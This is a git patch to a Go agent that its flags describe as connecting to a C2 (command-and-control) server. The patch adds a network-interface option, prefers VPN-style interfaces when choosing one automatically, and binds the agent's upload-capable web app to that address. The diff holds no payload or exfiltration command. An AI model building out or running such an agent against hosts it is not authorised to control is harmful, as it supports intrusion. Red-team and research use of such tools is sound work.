From 07d7ecfae51ef21c448ce659127c1d6b7b91566f Mon Sep 17 00:00:00 2001 From: Stefan Etringer Date: Thu, 26 Jun 2025 11:56:50 +0000 Subject: [PATCH] added interface as cli argument, as well as ranking of interfaces if it will be chosen automatically --- main.go | 104 +++++++++++++++++++++++---- src/agentconnector/agentconnector.go | 4 +- 2 files changed, 91 insertions(+), 17 deletions(-) diff --git a/main.go b/main.go index ba20253..02cabc3 100644 --- a/main.go +++ b/main.go @@ -493,7 +493,44 @@ func handler(w http.ResponseWriter, r *http.Request) { tmpl.Execute(w, data) } -func startInteractiveServer(cliInteractivePort string) (string, net.Listener) { +func ipv4Addr(iface *net.Interface) (string, bool) { + addrs, _ := iface.Addrs() + for _, a := range addrs { + if ip, _, _ := net.ParseCIDR(a.String()); ip.To4() != nil { + return ip.String(), true + } + } + return "", false +} + +func autoInterface() string { + ifaces, _ := net.Interfaces() + + // Interfaces whose IPv4 we want before anything else, in order. + var preferredPrefixes = []string{"wg", "tun", "tailscale"} + + for _, prefix := range preferredPrefixes { + for _, in := range ifaces { + if strings.HasPrefix(in.Name, prefix) && in.Flags&net.FlagUp != 0 { + if ip, ok := ipv4Addr(&in); ok { + return ip + } + } + } + } + + for _, in := range ifaces { + if in.Flags&net.FlagLoopback == 0 && in.Flags&net.FlagUp != 0 { + if ip, ok := ipv4Addr(&in); ok { + return ip + } + } + } + + return "" +} + +func startInteractiveServer(cliInteractivePort, networkInterface string) (string, net.Listener) { http.HandleFunc("/", handler) http.HandleFunc("/upload", fileUploadHandler) @@ -504,28 +541,60 @@ func startInteractiveServer(cliInteractivePort string) (string, net.Listener) { var addPort string var listener net.Listener var err error - if len(cliInteractivePort) > 0 { - addPort = cliInteractivePort - listener, err = net.Listen("tcp", ":" + addPort) + + var host string + if networkInterface != "" { + iface, err := net.InterfaceByName(networkInterface) + if err != nil { + log.Fatalf("interface %q not found: %v", networkInterface , err) + } + if ip, ok := ipv4Addr(iface); ok { + host = ip + } else { + log.Fatalf("Interface %q has no IPv4 address", networkInterface) + } } else { - listener, err = net.Listen("tcp", ":0") - addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port) + host = autoInterface() } - if err != nil { - log.Fatal(err) + port := cliInteractivePort + + if port == "" { + port = "0" } + listener, err = net.Listen("tcp4", net.JoinHostPort(host, port)) + if err != nil { + log.Fatal(err) + } + + addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port) + + + + // if len(cliInteractivePort) > 0 { + // addPort = cliInteractivePort + // listener, err = net.Listen("tcp", ":" + addPort) + // } else { + // listener, err = net.Listen("tcp", ":0") + // addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port) + // } + + // if err != nil { + // log.Fatal(err) + // } + return addPort, listener } // func connectionArgs () (string, string) { -func connectionArgs () (string, string) { +func connectionArgs () (string, string, string) { // Get IP address and port of the server through the var serverAddress string // var serverPort string var serverWebsocketPort string var interactivePort string + var networkInterface string flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server.") // flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.") @@ -533,6 +602,8 @@ func connectionArgs () (string, string) { flag.StringVar(&interactivePort, "interactive-port", "", "Port to connect directly to the agent's webapp. Port will be random if not set.") + flag.StringVar(&networkInterface, "network-interface", "", "Network interface to bind to. Will bind to the first non loopback interface if not set.") + flag.Parse() fmt.Println("Server address is at ", serverAddress) @@ -544,7 +615,7 @@ func connectionArgs () (string, string) { // return webServerAddr, webSocketAddr - return webSocketAddr, interactivePort + return webSocketAddr, interactivePort, networkInterface } @@ -552,12 +623,15 @@ func connectionArgs () (string, string) { func main() { - webSocketAddr, cliInteractivePort := connectionArgs() + webSocketAddr, cliInteractivePort, networkInterface := connectionArgs() - addPort, listener := startInteractiveServer(cliInteractivePort) + addPort, listener := startInteractiveServer(cliInteractivePort, networkInterface) - log.Println("Using interactive port:", addPort) - log.Printf("You can connect to port %d through your browser as well", listener.Addr().(*net.TCPAddr).Port) + // log.Println("Using network interface:", networkInterface) + ipv4Addr := listener.Addr().(*net.TCPAddr).IP.String() + log.Printf("You can connect to %s:%d through your browser as well", + ipv4Addr, + listener.Addr().(*net.TCPAddr).Port) var wg sync.WaitGroup wg.Add(2) @@ -569,7 +643,7 @@ func main() { go func() { defer wg.Done() - agentconnector.StartServer(addPort, webSocketAddr) + agentconnector.StartServer(addPort, webSocketAddr, ipv4Addr) }() wg.Wait() diff --git a/src/agentconnector/agentconnector.go b/src/agentconnector/agentconnector.go index b122f01..0b28060 100644 --- a/src/agentconnector/agentconnector.go +++ b/src/agentconnector/agentconnector.go @@ -211,14 +211,14 @@ func GetLocalIPs() []net.IP { } // func main() { -func StartServer(addPort, webSocketAddr string){ +func StartServer(addPort, webSocketAddr, agentIp string){ // webSocketAddr, cliInteractivePort := connectionArgs() // agentInteractivePort is only needed for interactive sessions agentName := "Agent-001" agentId := strconv.Itoa(randomInt(8)) - agentIp := GetLocalIP().String() + // agentIp := GetLocalIP().String() agentType := "Interactive" hostname, _ := os.Hostname()